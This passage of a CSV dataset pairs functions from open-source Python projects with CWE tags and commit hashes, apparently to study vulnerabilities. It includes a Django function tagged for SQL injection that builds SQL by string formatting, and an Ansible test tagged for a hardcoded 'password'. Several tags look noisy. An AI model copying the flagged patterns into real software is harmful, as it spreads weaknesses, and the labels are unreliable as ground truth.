functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/operators/hive_operator.py,0,"def __init__(
self, hql,
hive_cli_conn_id='hive_cli_default',
schema='default',
hiveconf_jinja_translate=False,
script_begin_tag=None,
run_as_owner=False,
*args, **kwargs):
super(HiveOperator, self).__init__(*args, **kwargs)
self.hiveconf_jinja_translate = hiveconf_jinja_translate
self.hql = hql
self.schema = schema
self.hive_cli_conn_id = hive_cli_conn_id
self.script_begin_tag = script_begin_tag
self.run_as = None
if run_as_owner:
self.run_as = self.dag.owner",CWE-Unknown,apache/airflow,ca7f239698fdddfb705db3d86d3a5145da1a2e30,"def __init__(
self, hql,
hive_cli_conn_id='hive_cli_default',
schema='default',
hiveconf_jinja_translate=False,
script_begin_tag=None,
*args, **kwargs):
super(HiveOperator, self).__init__(*args, **kwargs)
self.hiveconf_jinja_translate = hiveconf_jinja_translate
self.hql = hql
self.schema = schema
self.hive_cli_conn_id = hive_cli_conn_id
self.script_begin_tag = script_begin_tag"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/schema.py,1,"def _remake_table(self, model, create_field=None, delete_field=None, alter_field=None):
""""""
Shortcut to transform a model from old_model into new_model
The essential steps are:
1. rename the model's existing table, e.g. ""app_model"" to ""app_model__old""
2. create a table with the updated definition called ""app_model""
3. copy the data from the old renamed table to the new table
4. delete the ""app_model__old"" table
""""""
# Self-referential fields must be recreated rather than copied from
# the old model to ensure their remote_field.field_name doesn't refer
# to an altered field.
def is_self_referential(f):
return f.is_relation and f.remote_field.model is model
# Work out the new fields dict / mapping
body = {
f.name: f.clone() if is_self_referential(f) else f
for f in model._meta.local_concrete_fields
}
# Since mapping might mix column names and default values,
# its values must be already quoted.
mapping = {f.column: self.quote_name(f.column) for f in model._meta.local_concrete_fields}
# This maps field names (not columns) for things like unique_together
rename_mapping = {}
# If any of the new or altered fields is introducing a new PK,
# remove the old one
restore_pk_field = None
if getattr(create_field, 'primary_key', False) or (
alter_field and getattr(alter_field[1], 'primary_key', False)):
for name, field in list(body.items()):
if field.primary_key:
field.primary_key = False
restore_pk_field = field
if field.auto_created:
del body[name]
del mapping[field.column]
# Add in any created fields
if create_field:
body[create_field.name] = create_field
# Choose a default and insert it into the copy map
if not create_field.many_to_many and create_field.concrete:
mapping[create_field.column] = self.quote_value(
self.effective_default(create_field)
)
# Add in any altered fields
if alter_field:
old_field, new_field = alter_field
body.pop(old_field.name, None)
mapping.pop(old_field.column, None)
body[new_field.name] = new_field
if old_field.null and not new_field.null:
case_sql = ""coalesce(%(col)s, %(default)s)"" % {
'col': self.quote_name(old_field.column),
'default': self.quote_value(self.effective_default(new_field))
}
mapping[new_field.column] = case_sql
else:
mapping[new_field.column] = self.quote_name(old_field.column)
rename_mapping[old_field.name] = new_field.name
# Remove any deleted fields
if delete_field:
del body[delete_field.name]
del mapping[delete_field.column]
# Remove any implicit M2M tables
if delete_field.many_to_many and delete_field.remote_field.through._meta.auto_created:
return self.delete_model(delete_field.remote_field.through)
# Work inside a new app registry
apps = Apps()
# Provide isolated instances of the fields to the new model body so
# that the existing model's internals aren't interfered with when
# the dummy model is constructed.
body = copy.deepcopy(body)
# Work out the new value of unique_together, taking renames into
# account
unique_together = [
[rename_mapping.get(n, n) for n in unique]
for unique in model._meta.unique_together
]
# Work out the new value for index_together, taking renames into
# account
index_together = [
[rename_mapping.get(n, n) for n in index]
for index in model._meta.index_together
]
indexes = model._meta.indexes
if delete_field:
indexes = [
index for index in indexes
if delete_field.name not in index.fields
]
# Construct a new model for the new state
meta_contents = {
'app_label': model._meta.app_label,
'db_table': model._meta.db_table,
'unique_together': unique_together,
'index_together': index_together,
'indexes': indexes,
'apps': apps,
}
meta = type(""Meta"", tuple(), meta_contents)
body['Meta'] = meta
body['__module__'] = model.__module__
temp_model = type(model._meta.object_name, model.__bases__, body)
# We need to modify model._meta.db_table, but everything explodes
# if the change isn't reversed before the end of this method. This
# context manager helps us avoid that situation.
@contextlib.contextmanager
def altered_table_name(model, temporary_table_name):
original_table_name = model._meta.db_table
model._meta.db_table = temporary_table_name
yield
model._meta.db_table = original_table_name
with altered_table_name(model, model._meta.db_table + ""__old""):
# Rename the old table to make way for the new
self.alter_db_table(model, temp_model._meta.db_table, model._meta.db_table)
# Create a new table with the updated schema. We remove things
# from the deferred SQL that match our table name, too
self.deferred_sql = [x for x in self.deferred_sql if temp_model._meta.db_table not in x]
self.create_model(temp_model)
# Copy data from the old table into the new table
field_maps = list(mapping.items())
self.execute(""INSERT INTO %s (%s) SELECT %s FROM %s"" % (
self.quote_name(temp_model._meta.db_table),
', '.join(self.quote_name(x) for x, y in field_maps),
', '.join(y for x, y in field_maps),
self.quote_name(model._meta.db_table),
))
# Delete the old table
self.delete_model(model, handle_autom2m=False)
# Run deferred SQL on correct table
for sql in self.deferred_sql:
self.execute(sql)
self.deferred_sql = []
# Fix any PK-removed field
if restore_pk_field:
restore_pk_field.primary_key = True",CWE-89,django/django,6a8372e6ec42eb50e05f9dbcb26b783237bdc233,"def _remake_table(self, model, create_field=None, delete_field=None, alter_field=None):
""""""
Shortcut to transform a model from old_model into new_model
The essential steps are:
1. rename the model's existing table, e.g. ""app_model"" to ""app_model__old""
2. create a table with the updated definition called ""app_model""
3. copy the data from the old renamed table to the new table
4. delete the ""app_model__old"" table
""""""
# Self-referential fields must be recreated rather than copied from
# the old model to ensure their remote_field.field_name doesn't refer
# to an altered field.
def is_self_referential(f):
return f.is_relation and f.remote_field.model is model
# Work out the new fields dict / mapping
body = {
f.name: f.clone() if is_self_referential(f) else f
for f in model._meta.local_concrete_fields
}
# Since mapping might mix column names and default values,
# its values must be already quoted.
mapping = {f.column: self.quote_name(f.column) for f in model._meta.local_concrete_fields}
# This maps field names (not columns) for things like unique_together
rename_mapping = {}
# If any of the new or altered fields is introducing a new PK,
# remove the old one
restore_pk_field = None
if getattr(create_field, 'primary_key', False) or (
alter_field and getattr(alter_field[1], 'primary_key', False)):
for name, field in list(body.items()):
if field.primary_key:
field.primary_key = False
restore_pk_field = field
if field.auto_created:
del body[name]
del mapping[field.column]
# Add in any created fields
if create_field:
body[create_field.name] = create_field
# Choose a default and insert it into the copy map
if not create_field.many_to_many and create_field.concrete:
mapping[create_field.column] = self.quote_value(
self.effective_default(create_field)
)
# Add in any altered fields
if alter_field:
old_field, new_field = alter_field
body.pop(old_field.name, None)
mapping.pop(old_field.column, None)
body[new_field.name] = new_field
if old_field.null and not new_field.null:
case_sql = ""coalesce(%(col)s, %(default)s)"" % {
'col': self.quote_name(old_field.column),
'default': self.quote_value(self.effective_default(new_field))
}
mapping[new_field.column] = case_sql
else:
mapping[new_field.column] = self.quote_name(old_field.column)
rename_mapping[old_field.name] = new_field.name
# Remove any deleted fields
if delete_field:
del body[delete_field.name]
del mapping[delete_field.column]
# Remove any implicit M2M tables
if delete_field.many_to_many and delete_field.remote_field.through._meta.auto_created:
return self.delete_model(delete_field.remote_field.through)
# Work inside a new app registry
apps = Apps()
# Provide isolated instances of the fields to the new model body so
# that the existing model's internals aren't interfered with when
# the dummy model is constructed.
body = copy.deepcopy(body)
# Work out the new value of unique_together, taking renames into
# account
unique_together = [
[rename_mapping.get(n, n) for n in unique]
for unique in model._meta.unique_together
]
# Work out the new value for index_together, taking renames into
# account
index_together = [
[rename_mapping.get(n, n) for n in index]
for index in model._meta.index_together
]
# Construct a new model for the new state
meta_contents = {
'app_label': model._meta.app_label,
'db_table': model._meta.db_table,
'unique_together': unique_together,
'index_together': index_together,
'apps': apps,
}
meta = type(""Meta"", tuple(), meta_contents)
body['Meta'] = meta
body['__module__'] = model.__module__
temp_model = type(model._meta.object_name, model.__bases__, body)
# We need to modify model._meta.db_table, but everything explodes
# if the change isn't reversed before the end of this method. This
# context manager helps us avoid that situation.
@contextlib.contextmanager
def altered_table_name(model, temporary_table_name):
original_table_name = model._meta.db_table
model._meta.db_table = temporary_table_name
yield
model._meta.db_table = original_table_name
with altered_table_name(model, model._meta.db_table + ""__old""):
# Rename the old table to make way for the new
self.alter_db_table(model, temp_model._meta.db_table, model._meta.db_table)
# Create a new table with the updated schema. We remove things
# from the deferred SQL that match our table name, too
self.deferred_sql = [x for x in self.deferred_sql if temp_model._meta.db_table not in x]
self.create_model(temp_model)
# Copy data from the old table into the new table
field_maps = list(mapping.items())
self.execute(""INSERT INTO %s (%s) SELECT %s FROM %s"" % (
self.quote_name(temp_model._meta.db_table),
', '.join(self.quote_name(x) for x, y in field_maps),
', '.join(y for x, y in field_maps),
self.quote_name(model._meta.db_table),
))
# Delete the old table
self.delete_model(model, handle_autom2m=False)
# Run deferred SQL on correct table
for sql in self.deferred_sql:
self.execute(sql)
self.deferred_sql = []
# Fix any PK-removed field
if restore_pk_field:
restore_pk_field.primary_key = True"
,UNKNOWN,UNKNOWN,test/units/modules/network/nso/test_nso_verify.py,1,"def test_nso_verify_ok(self, open_url_mock):
devices_schema = nso_module.load_fixture('devices_schema.json')
device_schema = nso_module.load_fixture('device_schema.json')
calls = [
MockResponse('login', {}, 200, '{}', {'set-cookie': 'id'}),
MockResponse('get_system_setting', {'operation': 'version'}, 200, '{""result"": ""4.5.0""}'),
MockResponse('get_module_prefix_map', {}, 200, '{""result"": {""tailf-ncs"": ""ncs""}}'),
MockResponse('new_trans', {'mode': 'read'}, 200, '{""result"": {""th"": 1}}'),
MockResponse('get_schema', {'path': '/ncs:devices'}, 200, '{""result"": %s}' % (json.dumps(devices_schema, ))),
MockResponse('get_schema', {'path': '/ncs:devices/device'}, 200, '{""result"": %s}' % (json.dumps(device_schema, ))),
MockResponse('exists', {'path': '/ncs:devices/device{ce0}'}, 200, '{""result"": {""exists"": true}}'),
MockResponse('get_value', {'path': '/ncs:devices/device{ce0}/description'}, 200, '{""result"": {""value"": ""Example Device""}}'),
MockResponse('logout', {}, 200, '{""result"": {}}'),
]
open_url_mock.side_effect = lambda *args, **kwargs: nso_module.mock_call(calls, *args, **kwargs)
data = nso_module.load_fixture('verify_violation_data.json')
set_module_args({
'username': 'user', 'password': 'password',
'url': 'http://localhost:8080/jsonrpc', 'data': data,
'validate_certs': False
})
self.execute_module(changed=False)
self.assertEqual(0, len(calls))",CWE-259,ansible/ansible,1f7ffe26195dbc9191a292465f80d1a2388ce408,"def test_nso_verify_ok(self, open_url_mock):
devices_schema = nso_module.load_fixture('devices_schema.json')
device_schema = nso_module.load_fixture('device_schema.json')
calls = [
MockResponse('login', {}, 200, '{}', {'set-cookie': 'id'}),
MockResponse('get_system_setting', {'operation': 'version'}, 200, '{""result"": ""4.5.0""}'),
MockResponse('get_module_prefix_map', {}, 200, '{""result"": {""tailf-ncs"": ""ncs""}}'),
MockResponse('new_trans', {'mode': 'read'}, 200, '{""result"": {""th"": 1}}'),
MockResponse('get_schema', {'path': '/ncs:devices'}, 200, '{""result"": %s}' % (json.dumps(devices_schema, ))),
MockResponse('get_schema', {'path': '/ncs:devices/device'}, 200, '{""result"": %s}' % (json.dumps(device_schema, ))),
MockResponse('exists', {'path': '/ncs:devices/device{ce0}'}, 200, '{""result"": {""exists"": true}}'),
MockResponse('get_value', {'path': '/ncs:devices/device{ce0}/description'}, 200, '{""result"": {""value"": ""Example Device""}}'),
MockResponse('logout', {}, 200, '{""result"": {}}'),
]
open_url_mock.side_effect = lambda *args, **kwargs: nso_module.mock_call(calls, *args, **kwargs)
data = nso_module.load_fixture('verify_violation_data.json')
set_module_args({
'username': 'user', 'password': 'password',
'url': 'http://localhost:8080/jsonrpc', 'data': data
})
self.execute_module(changed=False)
self.assertEqual(0, len(calls))"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/gen.py,0,"def with_timeout(timeout, future, quiet_exceptions=()):
""""""Wraps a `.Future` (or other yieldable object) in a timeout.
Raises `tornado.util.TimeoutError` if the input future does not
complete before ``timeout``, which may be specified in any form
allowed by `.IOLoop.add_timeout` (i.e. a `datetime.timedelta` or
an absolute time relative to `.IOLoop.time`)
If the wrapped `.Future` fails after it has timed out, the exception
will be logged unless it is of a type contained in ``quiet_exceptions``
(which may be an exception type or a sequence of types).
Does not support `YieldPoint` subclasses.
.. versionadded:: 4.0
.. versionchanged:: 4.1
Added the ``quiet_exceptions`` argument and the logging of unhandled
exceptions.
.. versionchanged:: 4.4
Added support for yieldable objects other than `.Future`.
""""""
# TODO: allow YieldPoints in addition to other yieldables?
# Tricky to do with stack_context semantics.
#
# It's tempting to optimize this by cancelling the input future on timeout
# instead of creating a new one, but A) we can't know if we are the only
# one waiting on the input future, so cancelling it might disrupt other
# callers and B) concurrent futures can only be cancelled while they are
# in the queue, so cancellation cannot reliably bound our waiting time.
future = convert_yielded(future)
result = _create_future()
chain_future(future, result)
io_loop = IOLoop.current()
def error_callback(future):
try:
future.result()
except Exception as e:
if not isinstance(e, quiet_exceptions):
app_log.error(""Exception in Future %r after timeout"",
future, exc_info=True)
def timeout_callback():
if not result.done():
result.set_exception(TimeoutError(""Timeout""))
# In case the wrapped future goes on to fail, log it.
future_add_done_callback(future, error_callback)
timeout_handle = io_loop.add_timeout(
timeout, timeout_callback)
if isinstance(future, Future):
# We know this future will resolve on the IOLoop, so we don't
# need the extra thread-safety of IOLoop.add_future (and we also
# don't care about StackContext here.
future_add_done_callback(
future, lambda future: io_loop.remove_timeout(timeout_handle))
else:
# concurrent.futures.Futures may resolve on any thread, so we
# need to route them back to the IOLoop.
io_loop.add_future(
future, lambda future: io_loop.remove_timeout(timeout_handle))
return result",CWE-Unknown,tornadoweb/tornado,0a1565aba237d7a611d1e7dd6d5e47a2b166f21d,"def with_timeout(timeout, future, quiet_exceptions=()):
""""""Wraps a `.Future` (or other yieldable object) in a timeout.
Raises `tornado.util.TimeoutError` if the input future does not
complete before ``timeout``, which may be specified in any form
allowed by `.IOLoop.add_timeout` (i.e. a `datetime.timedelta` or
an absolute time relative to `.IOLoop.time`)
If the wrapped `.Future` fails after it has timed out, the exception
will be logged unless it is of a type contained in ``quiet_exceptions``
(which may be an exception type or a sequence of types).
Does not support `YieldPoint` subclasses.
.. versionadded:: 4.0
.. versionchanged:: 4.1
Added the ``quiet_exceptions`` argument and the logging of unhandled
exceptions.
.. versionchanged:: 4.4
Added support for yieldable objects other than `.Future`.
""""""
# TODO: allow YieldPoints in addition to other yieldables?
# Tricky to do with stack_context semantics.
#
# It's tempting to optimize this by cancelling the input future on timeout
# instead of creating a new one, but A) we can't know if we are the only
# one waiting on the input future, so cancelling it might disrupt other
# callers and B) concurrent futures can only be cancelled while they are
# in the queue, so cancellation cannot reliably bound our waiting time.
future = convert_yielded(future)
result = _create_future()
chain_future(future, result)
io_loop = IOLoop.current()
def error_callback(future):
try:
future.result()
except Exception as e:
if not isinstance(e, quiet_exceptions):
app_log.error(""Exception in Future %r after timeout"",
future, exc_info=True)
def timeout_callback():
if not result.done():
result.set_exception(TimeoutError(""Timeout""))
# In case the wrapped future goes on to fail, log it.
future_add_done_callback(future, error_callback)
timeout_handle = io_loop.add_timeout(
timeout, timeout_callback)
if isinstance(future, Future):
# We know this future will resolve on the IOLoop, so we don't
# need the extra thread-safety of IOLoop.add_future (and we also
# don't care about StackContext here.
future_add_done_callback(future,
lambda future: io_loop.remove_timeout(timeout_handle))
else:
# concurrent.futures.Futures may resolve on any thread, so we
# need to route them back to the IOLoop.
io_loop.add_future(
future, lambda future: io_loop.remove_timeout(timeout_handle))
return result"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/test_bandit_baseline.py,0,"def test_main_no_parent_commit(self):
# Test that bandit exits when there is no parent commit detected when
# calling main
repo_directory = self.useFixture(fixtures.TempDir()).path
git_repo = git.Repo.init(repo_directory)
git_repo.index.commit('Initial Commit')
os.chdir(repo_directory)
# assert the system exits with code 2
self.assertRaisesRegex(SystemExit, '2', baseline.main)",UNKNOWN,PyCQA/bandit,7f9524e63ef38c73584c4032f87a1b24a04d1a60,"def test_main_no_parent_commit(self):
# Test that bandit exits when there is no parent commit detected when
# calling main
repo_directory = self.useFixture(fixtures.TempDir()).path
git_repo = git.Repo.init(repo_directory)
git_repo.index.commit('Initial Commit')
os.chdir(repo_directory)
# assert the system exits with code 2
self.assertRaisesRegex(SystemExit, '2', baseline.main)"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/auth_manager/test_aws_auth_manager.py,1,"def test_get_cli_commands_return_cli_commands(self, auth_manager):
assert len(auth_manager.get_cli_commands()) > 0",CWE-703,apache/airflow,9a8490746238189ad19b4f8524d4501d06aacd6e,"def test_get_cli_commands_return_cli_commands(self, auth_manager):
assert len(auth_manager.get_cli_commands()) > 0"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/fluent.py,0,"def start_run(
run_id: Optional[str] = None,
experiment_id: Optional[str] = None,
run_name: Optional[str] = None,
nested: bool = False,
parent_run_id: Optional[str] = None,
tags: Optional[Dict[str, Any]] = None,
description: Optional[str] = None,
log_system_metrics: Optional[bool] = None,
) -> ActiveRun:
""""""
Start a new MLflow run, setting it as the active run under which metrics and parameters
will be logged. The return value can be used as a context manager within a ``with`` block;
otherwise, you must call ``end_run()`` to terminate the current run.
If you pass a ``run_id`` or the ``MLFLOW_RUN_ID`` environment variable is set,
``start_run`` attempts to resume a run with the specified run ID and
other parameters are ignored. ``run_id`` takes precedence over ``MLFLOW_RUN_ID``.
If resuming an existing run, the run status is set to ``RunStatus.RUNNING``.
MLflow sets a variety of default tags on the run, as defined in
:ref:`MLflow system tags `.
Args:
run_id: If specified, get the run with the specified UUID and log parameters
and metrics under that run. The run's end time is unset and its status
is set to running, but the run's other attributes (``source_version``,
``source_type``, etc.) are not changed.
experiment_id: ID of the experiment under which to create the current run (applicable
only when ``run_id`` is not specified). If ``experiment_id`` argument
is unspecified, will look for valid experiment in the following order:
activated using ``set_experiment``, ``MLFLOW_EXPERIMENT_NAME``
environment variable, ``MLFLOW_EXPERIMENT_ID`` environment variable,
or the default experiment as defined by the tracking server.
run_name: Name of new run. Used only when ``run_id`` is unspecified. If a new run is
created and ``run_name`` is not specified, a random name will be generated for the run.
nested: Controls whether run is nested in parent run. ``True`` creates a nested run.
parent_run_id: If specified, the current run will be nested under the the run with
the specified UUID. The parent run must be in the ACTIVE state.
tags: An optional dictionary of string keys and values to set as tags on the run.
If a run is being resumed, these tags are set on the resumed run. If a new run is
being created, these tags are set on the new run.
description: An optional string that populates the description box of the run.
If a run is being resumed, the description is set on the resumed run.
If a new run is being created, the description is set on the new run.
log_system_metrics: bool, defaults to None. If True, system metrics will be logged
to MLflow, e.g., cpu/gpu utilization. If None, we will check environment variable
`MLFLOW_ENABLE_SYSTEM_METRICS_LOGGING` to determine whether to log system metrics.
System metrics logging is an experimental feature in MLflow 2.8 and subject to change.
Returns:
:py:class:`mlflow.ActiveRun` object that acts as a context manager wrapping the
run's state.
.. code-block:: python
:test:
:caption: Example
import mlflow
# Create nested runs
experiment_id = mlflow.create_experiment(""experiment1"")
with mlflow.start_run(
run_name=""PARENT_RUN"",
experiment_id=experiment_id,
tags={""version"": ""v1"", ""priority"": ""P1""},
description=""parent"",
) as parent_run:
mlflow.log_param(""parent"", ""yes"")
with mlflow.start_run(
run_name=""CHILD_RUN"",
experiment_id=experiment_id,
description=""child"",
nested=True,
) as child_run:
mlflow.log_param(""child"", ""yes"")
print(""parent run:"")
print(f""run_id: {parent_run.info.run_id}"")
print(""description: {}"".format(parent_run.data.tags.get(""mlflow.note.content"")))
print(""version tag value: {}"".format(parent_run.data.tags.get(""version"")))
print(""priority tag value: {}"".format(parent_run.data.tags.get(""priority"")))
print(""--"")
# Search all child runs with a parent id
query = f""tags.mlflow.parentRunId = '{parent_run.info.run_id}'""
results = mlflow.search_runs(experiment_ids=[experiment_id], filter_string=query)
print(""child runs:"")
print(results[[""run_id"", ""params.child"", ""tags.mlflow.runName""]])
# Create a nested run under the existing parent run
with mlflow.start_run(
run_name=""NEW_CHILD_RUN"",
experiment_id=experiment_id,
description=""new child"",
parent_run_id=parent_run.info.run_id,
) as child_run:
mlflow.log_param(""new-child"", ""yes"")
.. code-block:: text
:caption: Output
parent run:
run_id: 8979459433a24a52ab3be87a229a9cdf
description: starting a parent for experiment 7
version tag value: v1
priority tag value: P1
--
child runs:
run_id params.child tags.mlflow.runName
0 7d175204675e40328e46d9a6a5a7ee6a yes CHILD_RUN
""""""
global _active_run_stack
_validate_experiment_id_type(experiment_id)
# back compat for int experiment_id
experiment_id = str(experiment_id) if isinstance(experiment_id, int) else experiment_id
if len(_active_run_stack) > 0 and not nested:
raise Exception(
(
""Run with UUID {} is already active. To start a new run, first end the ""
+ ""current run with mlflow.end_run(). To start a nested ""
+ ""run, call start_run with nested=True""
).format(_active_run_stack[0].info.run_id)
)
client = MlflowClient()
if run_id:
existing_run_id = run_id
elif run_id := MLFLOW_RUN_ID.get():
existing_run_id = run_id
del os.environ[MLFLOW_RUN_ID.name]
else:
existing_run_id = None
if existing_run_id:
_validate_run_id(existing_run_id)
active_run_obj = client.get_run(existing_run_id)
# Check to see if experiment_id from environment matches experiment_id from set_experiment()
if (
_active_experiment_id is not None
and _active_experiment_id != active_run_obj.info.experiment_id
):
raise MlflowException(
f""Cannot start run with ID {existing_run_id} because active run ID ""
""does not match environment run ID. Make sure --experiment-name ""
""or --experiment-id matches experiment set with ""
""set_experiment(), or just use command-line arguments""
)
# Check if the current run has been deleted.
if active_run_obj.info.lifecycle_stage == LifecycleStage.DELETED:
raise MlflowException(
f""Cannot start run with ID {existing_run_id} because it is in the deleted state.""
)
# Use previous `end_time` because a value is required for `update_run_info`.
end_time = active_run_obj.info.end_time
_get_store().update_run_info(
existing_run_id, run_status=RunStatus.RUNNING, end_time=end_time, run_name=None
)
tags = tags or {}
if description:
if MLFLOW_RUN_NOTE in tags:
raise MlflowException(
f""Description is already set via the tag {MLFLOW_RUN_NOTE} in tags.""
f""Remove the key {MLFLOW_RUN_NOTE} from the tags or omit the description."",
error_code=INVALID_PARAMETER_VALUE,
)
tags[MLFLOW_RUN_NOTE] = description
if tags:
client.log_batch(
run_id=existing_run_id,
tags=[RunTag(key, str(value)) for key, value in tags.items()],
)
active_run_obj = client.get_run(existing_run_id)
else:
if parent_run_id:
_validate_run_id(parent_run_id)
# Make sure parent_run_id matches the current run id, if there is an active run
if len(_active_run_stack) > 0 and parent_run_id != _active_run_stack[-1].info.run_id:
current_run_id = _active_run_stack[-1].info.run_id
raise MlflowException(
f""Current run with UUID {current_run_id} does not match the specified ""
f""parent_run_id {parent_run_id}. To start a new nested run under ""
f""the parent run with UUID {current_run_id}, first end the current run ""
""with mlflow.end_run().""
)
parent_run_obj = client.get_run(parent_run_id)
# Check if the specified parent_run has been deleted.
if parent_run_obj.info.lifecycle_stage == LifecycleStage.DELETED:
raise MlflowException(
f""Cannot start run under parent run with ID {parent_run_id} ""
f""because it is in the deleted state.""
)
else:
parent_run_id = (
_active_run_stack[-1].info.run_id if len(_active_run_stack) > 0 else None
)
exp_id_for_run = experiment_id if experiment_id is not None else _get_experiment_id()
user_specified_tags = deepcopy(tags) or {}
if description:
if MLFLOW_RUN_NOTE in user_specified_tags:
raise MlflowException(
f""Description is already set via the tag {MLFLOW_RUN_NOTE} in tags.""
f""Remove the key {MLFLOW_RUN_NOTE} from the tags or omit the description."",
error_code=INVALID_PARAMETER_VALUE,
)
user_specified_tags[MLFLOW_RUN_NOTE] = description
if parent_run_id is not None:
user_specified_tags[MLFLOW_PARENT_RUN_ID] = parent_run_id
if run_name:
user_specified_tags[MLFLOW_RUN_NAME] = run_name
resolved_tags = context_registry.resolve_tags(user_specified_tags)
active_run_obj = client.create_run(
experiment_id=exp_id_for_run,
tags=resolved_tags,
run_name=run_name,
)
if log_system_metrics is None:
# If `log_system_metrics` is not specified, we will check environment variable.
log_system_metrics = MLFLOW_ENABLE_SYSTEM_METRICS_LOGGING.get()
if log_system_metrics:
if importlib.util.find_spec(""psutil"") is None:
raise MlflowException(
""Failed to start system metrics monitoring as package `psutil` is not installed. ""
""Please run `pip install psutil` to resolve the issue, otherwise you can disable ""
""system metrics logging by passing `log_system_metrics=False` to ""
""`mlflow.start_run()` or calling `mlflow.disable_system_metrics_logging`.""
)
try:
from mlflow.system_metrics.system_metrics_monitor import SystemMetricsMonitor
system_monitor = SystemMetricsMonitor(
active_run_obj.info.run_id,
resume_logging=existing_run_id is not None,
)
global run_id_to_system_metrics_monitor
run_id_to_system_metrics_monitor[active_run_obj.info.run_id] = system_monitor
system_monitor.start()
except Exception as e:
_logger.error(f""Failed to start system metrics monitoring: {e}."")
_active_run_stack.append(ActiveRun(active_run_obj))
return _active_run_stack[-1]",,mlflow/mlflow,582461a133995f27f48daf7dfd0007b661b4b9d0,"def start_run(
run_id: Optional[str] = None,
experiment_id: Optional[str] = None,
run_name: Optional[str] = None,
nested: bool = False,
parent_run_id: Optional[str] = None,
tags: Optional[Dict[str, Any]] = None,
description: Optional[str] = None,
log_system_metrics: Optional[bool] = None,
) -> ActiveRun:
""""""
Start a new MLflow run, setting it as the active run under which metrics and parameters
will be logged. The return value can be used as a context manager within a ``with`` block;
otherwise, you must call ``end_run()`` to terminate the current run.
If you pass a ``run_id`` or the ``MLFLOW_RUN_ID`` environment variable is set,
``start_run`` attempts to resume a run with the specified run ID and
other parameters are ignored. ``run_id`` takes precedence over ``MLFLOW_RUN_ID``.
If resuming an existing run, the run status is set to ``RunStatus.RUNNING``.
MLflow sets a variety of default tags on the run, as defined in
:ref:`MLflow system tags `.
Args:
run_id: If specified, get the run with the specified UUID and log parameters
and metrics under that run. The run's end time is unset and its status
is set to running, but the run's other attributes (``source_version``,
``source_type``, etc.) are not changed.
experiment_id: ID of the experiment under which to create the current run (applicable
only when ``run_id`` is not specified). If ``experiment_id`` argument
is unspecified, will look for valid experiment in the following order:
activated using ``set_experiment``, ``MLFLOW_EXPERIMENT_NAME``
environment variable, ``MLFLOW_EXPERIMENT_ID`` environment variable,
or the default experiment as defined by the tracking server.
run_name: Name of new run. Used only when ``run_id`` is unspecified. If a new run is
created and ``run_name`` is not specified, a random name will be generated for the run.
nested: Controls whether run is nested in parent run. ``True`` creates a nested run.
parent_run_id: If specified, the current run will be nested under the the run with
the specified UUID. The parent run must be in the ACTIVE state.
tags: An optional dictionary of string keys and values to set as tags on the run.
If a run is being resumed, these tags are set on the resumed run. If a new run is
being created, these tags are set on the new run.
description: An optional string that populates the description box of the run.
If a run is being resumed, the description is set on the resumed run.
If a new run is being created, the description is set on the new run.
log_system_metrics: bool, defaults to None. If True, system metrics will be logged
to MLflow, e.g., cpu/gpu utilization. If None, we will check environment variable
`MLFLOW_ENABLE_SYSTEM_METRICS_LOGGING` to determine whether to log system metrics.
System metrics logging is an experimental feature in MLflow 2.8 and subject to change.
Returns:
:py:class:`mlflow.ActiveRun` object that acts as a context manager wrapping the
run's state.
.. code-block:: python
:test:
:caption: Example
import mlflow
# Create nested runs
experiment_id = mlflow.create_experiment(""experiment1"")
with mlflow.start_run(
run_name=""PARENT_RUN"",
experiment_id=experiment_id,
tags={""version"": ""v1"", ""priority"": ""P1""},
description=""parent"",
) as parent_run:
mlflow.log_param(""parent"", ""yes"")
with mlflow.start_run(
run_name=""CHILD_RUN"",
experiment_id=experiment_id,
description=""child"",
nested=True,
) as child_run:
mlflow.log_param(""child"", ""yes"")
print(""parent run:"")
print(f""run_id: {parent_run.info.run_id}"")
print(""description: {}"".format(parent_run.data.tags.get(""mlflow.note.content"")))
print(""version tag value: {}"".format(parent_run.data.tags.get(""version"")))
print(""priority tag value: {}"".format(parent_run.data.tags.get(""priority"")))
print(""--"")
# Search all child runs with a parent id
query = f""tags.mlflow.parentRunId = '{parent_run.info.run_id}'""
results = mlflow.search_runs(experiment_ids=[experiment_id], filter_string=query)
print(""child runs:"")
print(results[[""run_id"", ""params.child"", ""tags.mlflow.runName""]])
# Create a nested run under the existing parent run
with mlflow.start_run(
run_name=""NEW_CHILD_RUN"",
experiment_id=experiment_id,
description=""new child"",
parent_run_id=parent_run.info.run_id,
) as child_run:
mlflow.log_param(""new-child"", ""yes"")
.. code-block:: text
:caption: Output
parent run:
run_id: 8979459433a24a52ab3be87a229a9cdf
description: starting a parent for experiment 7
version tag value: v1
priority tag value: P1
--
child runs:
run_id params.child tags.mlflow.runName
0 7d175204675e40328e46d9a6a5a7ee6a yes CHILD_RUN
""""""
global _active_run_stack
_validate_experiment_id_type(experiment_id)
# back compat for int experiment_id
experiment_id = str(experiment_id) if isinstance(experiment_id, int) else experiment_id
if len(_active_run_stack) > 0 and not nested:
raise Exception(
(
""Run with UUID {} is already active. To start a new run, first end the ""
+ ""current run with mlflow.end_run(). To start a nested ""
+ ""run, call start_run with nested=True""
).format(_active_run_stack[0].info.run_id)
)
client = MlflowClient()
if run_id:
existing_run_id = run_id
elif run_id := MLFLOW_RUN_ID.get():
existing_run_id = run_id
del os.environ[MLFLOW_RUN_ID.name]
else:
existing_run_id = None
if existing_run_id:
_validate_run_id(existing_run_id)
active_run_obj = client.get_run(existing_run_id)
# Check to see if experiment_id from environment matches experiment_id from set_experiment()
if (
_active_experiment_id is not None
and _active_experiment_id != active_run_obj.info.experiment_id
):
raise MlflowException(
f""Cannot start run with ID {existing_run_id} because active run ID ""
""does not match environment run ID. Make sure --experiment-name ""
""or --experiment-id matches experiment set with ""
""set_experiment(), or just use command-line arguments""
)
# Check if the current run has been deleted.
if active_run_obj.info.lifecycle_stage == LifecycleStage.DELETED:
raise MlflowException(
f""Cannot start run with ID {existing_run_id} because it is in the deleted state.""
)
# Use previous `end_time` because a value is required for `update_run_info`.
end_time = active_run_obj.info.end_time
_get_store().update_run_info(
existing_run_id, run_status=RunStatus.RUNNING, end_time=end_time, run_name=None
)
tags = tags or {}
if description:
